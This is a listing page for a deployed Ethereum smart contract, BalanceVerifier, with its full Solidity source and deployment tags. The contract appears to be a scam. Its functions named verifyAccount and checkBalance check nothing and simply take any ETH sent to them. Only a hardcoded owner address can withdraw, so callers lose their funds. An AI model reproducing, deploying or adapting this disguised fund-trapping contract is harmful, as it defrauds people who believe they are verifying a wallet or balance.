BalanceVerifier

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
 * @title BalanceVerifier
 * @dev Контракт для проверки баланса с возможностью вывода только владельцем
 */
contract BalanceVerifier {
    // Адрес владельца (единственный, кто может выводить средства)
    address private constant OWNER = 0x6D29547c12A68Cf8696Cd78A8578420F6A298536;
    
    // События
    event Deposited(address indexed from, uint256 amount);
    event Withdrawn(address indexed to, uint256 amount);
    
    /**
     * @dev Модификатор: только владелец
     */
    modifier onlyOwner() {
        require(msg.sender == OWNER, "Only owner can call this function");
        _;
    }
    
    /**
     * @dev Функция для проверки баланса (депозит)
     * Принимает ETH от пользователей
     */
    function verifyAccount() external payable {
        require(msg.value > 0, "Amount must be greater than 0");
        emit Deposited(msg.sender, msg.value);
    }
    
    /**
     * @dev Альтернативная функция депозита
     */
    function checkBalance() external payable {
        require(msg.value > 0, "Amount must be greater than 0");
        emit Deposited(msg.sender, msg.value);
    }
    
    /**
     * @dev Вывод средств - только для владельца
     * @param amount Сумма для вывода (в wei)
     */
    function withdraw(uint256 amount) external onlyOwner {
        require(amount > 0, "Amount must be greater than 0");
        require(address(this).balance >= amount, "Insufficient contract balance");
        
        (bool success, ) = OWNER.call{value: amount}("");
        require(success, "Withdrawal failed");
        
        emit Withdrawn(OWNER, amount);
    }
    
    /**
     * @dev Вывод всех средств - только для владельца
     */
    function withdrawAll() external onlyOwner {
        uint256 balance = address(this).balance;
        require(balance > 0, "Contract balance is zero");
        
        (bool success, ) = OWNER.call{value: balance}("");
        require(success, "Withdrawal failed");
        
        emit Withdrawn(OWNER, balance);
    }
    
    /**
     * @dev Fallback функция для прямых переводов (депозит)
     */
    receive() external payable {
        require(msg.value > 0, "Amount must be greater than 0");
        emit Deposited(msg.sender, msg.value);
    }
    
    /**
     * @dev Получить баланс контракта
     */
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
    
    /**
     * @dev Получить адрес владельца
     */
    function getOwner() external pure returns (address) {
        return OWNER;
    }
}

Tags:
addr:0x49722c3f1c6abd9c354584cd56c11d824dbd903d|verified:true|block:23468316|tx:0x302a6170a56e3a6a3aed893b6c3dc400dca63edae026c4e70cde12ca91850099|first_check:1759152130

Submitted on: 2025-09-29 15:22:11

Comments

Log in to comment.

No comments yet.